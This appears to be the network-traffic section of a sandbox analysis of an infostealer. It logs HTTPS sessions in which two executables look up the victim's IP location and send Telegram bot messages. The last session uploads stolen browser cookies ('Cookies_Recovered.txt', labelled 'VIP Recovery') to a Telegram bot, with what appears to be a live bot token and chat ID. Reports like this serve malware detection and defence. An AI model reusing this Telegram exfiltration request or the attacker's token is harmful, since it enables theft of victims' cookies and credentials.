                                                                                                                                                            2024-12-16 13:23:28 UTC874INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:28 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344177
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wrsjvnmATJ%2FDnQFsjb4TcrVxPyIII9hKdKQ%2F9TH0oAvCj8FNX9slqj4At3jcafnZU4gNNsqqA0wS5ZyCcdD6riwKnrfvP5kAkk7JHbs8m7SbY14djtMd4BrEYh4DSEnE3vLSI7uA"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efcf8ad3e8c81-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=2051&min_rtt=2047&rtt_var=777&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1399808&cwnd=235&unsent_bytes=0&cid=0b9ed38f0048d82f&ts=457&x=0"
                                                                                                                                                            2024-12-16 13:23:28 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            12192.168.2.649791104.21.67.1524433704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:28 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:28 UTC884INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:28 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344177
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pcgcuNDt9zA4TwJVEUnrf1zxKJhLTM%2BE4k1U1H9P%2BD9W4BXvLQj6Kxza2lFPh9EGG4md%2BlgiBi%2BfG%2F82eJIU2luADtRO0WBe6%2BrfqbsuktExoB2eLKZB1Us88Qje8lUaZ%2F3ZhWDt"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efcf90dfede9a-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1509&min_rtt=1506&rtt_var=570&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1908496&cwnd=209&unsent_bytes=0&cid=70fca72fabe85639&ts=452&x=0"
                                                                                                                                                            2024-12-16 13:23:28 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            13192.168.2.649803104.21.67.1524438124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:31 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:31 UTC880INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:31 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344180
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uO9rrxm1p5oF2Rvq2p63eKYXTs1pDi4zdOAw4w0Du0%2BuhyBM9X4K6Efp7SNlkDdHN8EMSRNZdQcwHaG7qgs2ojg%2FN0P3O%2F9VYqaavCBEvibGJr%2FJ453eAl8AaI%2BguygnnPVgEIpa"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efd0b6cee4283-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1573&min_rtt=1569&rtt_var=597&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1820448&cwnd=241&unsent_bytes=0&cid=021e6bd04f1f299e&ts=452&x=0"
                                                                                                                                                            2024-12-16 13:23:31 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            14192.168.2.649805104.21.67.1524433704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:31 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            2024-12-16 13:23:32 UTC878INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:32 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344181
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iSDJrPJb%2Bq4YnBrNlsPYFUTScFiuBU4kyvR4tyByYbWH%2FYnI9N53uz4atz%2B32N7HWIPatL1zv0NKFAzjTziuFyG2CtgXkjLODdY8Ci75OaiosbejwIaeuAmASlGi%2BykqmfH84ITD"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efd0d0dfd8c36-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1990&min_rtt=1980&rtt_var=764&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1413359&cwnd=165&unsent_bytes=0&cid=f563f091d4f3583a&ts=455&x=0"
                                                                                                                                                            2024-12-16 13:23:32 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            15192.168.2.649813104.21.67.1524438124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:34 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:34 UTC874INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:34 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344183
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U2MIPJRk9XBygdzj4Fkp5lalHl1SeBHmy8JIdkE7A0br6xp0pPagdpQyG6jc5vtpNdkZb1pMbqgS8XwVT3fV7YM51NZ%2FlAqcZ6%2FgfsuJ2MtRDYAIEdWmNEM0jlwn1MkfVjRlk7lo"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efd1e294d41cd-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=2176&min_rtt=2127&rtt_var=833&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1372825&cwnd=227&unsent_bytes=0&cid=4427e0087b6d8471&ts=457&x=0"
                                                                                                                                                            2024-12-16 13:23:34 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            16192.168.2.649814104.21.67.1524433704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:34 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:35 UTC874INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:35 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344184
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hVlM9pcHrMR7cUgqV7Ap072eWSybfGT2zdvs1gB1APXbAorskh5iOft9qV63sajfOwnxUJKlmdb0KO%2B7aRFqheF4f%2FBtn6NmsTevGeaY5bm7z4kH8u1WtpdxRdaHWoJjSy3Po2QO"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efd1fde7c0f65-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1473&min_rtt=1464&rtt_var=567&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1898569&cwnd=222&unsent_bytes=0&cid=a316f3b5e729b07e&ts=458&x=0"
                                                                                                                                                            2024-12-16 13:23:35 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            17192.168.2.649820149.154.167.2204438124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:36 UTC349OUTGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:992547%0D%0ADate%20and%20Time:%2017/12/2024%20/%2010:57:05%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20992547%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
                                                                                                                                                            Host: api.telegram.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:36 UTC344INHTTP/1.1 404 Not Found
                                                                                                                                                            Server: nginx/1.18.0
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:36 GMT
                                                                                                                                                            Content-Type: application/json
                                                                                                                                                            Content-Length: 55
                                                                                                                                                            Connection: close
                                                                                                                                                            Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                            Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                            2024-12-16 13:23:36 UTC55INData Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d
                                                                                                                                                            Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            18192.168.2.649826104.21.67.1524433704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:37 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            2024-12-16 13:23:38 UTC876INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:38 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344187
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JGyG%2FH%2FuysKpMRu6hnNOvlbHlI9vP0orbUurl00HZVuofFaBrYjlX8f9dJQev8GxLRZRkoHK7Os6AUHamIuNCGMF0moWYYjHWq5q73LOEH3%2BbAIdRZ0kMB9XG2MN2BaJVgQL0zrz"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efd32de0442bd-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1615&min_rtt=1614&rtt_var=608&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1794714&cwnd=196&unsent_bytes=0&cid=1f07e8a9373144af&ts=464&x=0"
                                                                                                                                                            2024-12-16 13:23:38 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            19192.168.2.649829149.154.167.2204433704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:39 UTC349OUTGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:992547%0D%0ADate%20and%20Time:%2017/12/2024%20/%2013:23:59%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20992547%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
                                                                                                                                                            Host: api.telegram.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:40 UTC344INHTTP/1.1 404 Not Found
                                                                                                                                                            Server: nginx/1.18.0
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:39 GMT
                                                                                                                                                            Content-Type: application/json
                                                                                                                                                            Content-Length: 55
                                                                                                                                                            Connection: close
                                                                                                                                                            Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                            Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                            2024-12-16 13:23:40 UTC55INData Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d
                                                                                                                                                            Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            20192.168.2.649860149.154.167.2204438124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:50 UTC380OUTPOST /bot7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI/sendDocument?chat_id=6443825857&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1
                                                                                                                                                            Content-Type: multipart/form-data; boundary=------------------------8dd1f0d506ad3d1
                                                                                                                                                            Host: api.telegram.org
                                                                                                                                                            Content-Length: 1281
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:50 UTC1281OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 30 64 35 30 36 61 64 33 64 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 6f 6b 69 65 73 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 43 6f 6f 6b 69 65 73 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 39 32 35 34 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 36 2f 31 32 2f 32 30 32
                                                                                                                                                            Data Ascii: --------------------------8dd1f0d506ad3d1Content-Disposition: form-data; name="document"; filename="Cookies_Recovered.txt"Content-Type: application/x-ms-dos-executableCookies | user | VIP Recovery PC Name:992547Date and Time: 16/12/202
                                                                                                                                                            2024-12-16 13:23:51 UTC388INHTTP/1.1 200 OK
                                                                                                                                                            Server: nginx/1.18.0
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:50 GMT
